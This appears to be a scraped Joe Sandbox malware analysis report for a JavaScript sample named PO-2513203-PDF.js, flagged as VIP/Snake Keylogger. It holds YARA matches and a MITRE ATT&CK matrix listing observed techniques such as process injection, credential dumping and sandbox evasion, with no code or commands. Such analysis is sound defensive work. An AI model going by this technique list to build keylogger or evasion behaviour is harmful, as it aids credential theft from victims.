Source: Yara match	File source: Process Memory Space: x.exe PID: 8060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x.exe PID: 2424, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	52 Scripting	Valid Accounts	1 Exploitation for Client Execution	52 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	1 DLL Side-Loading	211 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	13 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Obfuscated Files or Information	Security Account Manager	1 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	51 Virtualization/Sandbox Evasion	SSH	Keylogging	24 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	51 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	211 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO-2513203-PDF.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
PO-2513203-PDF.js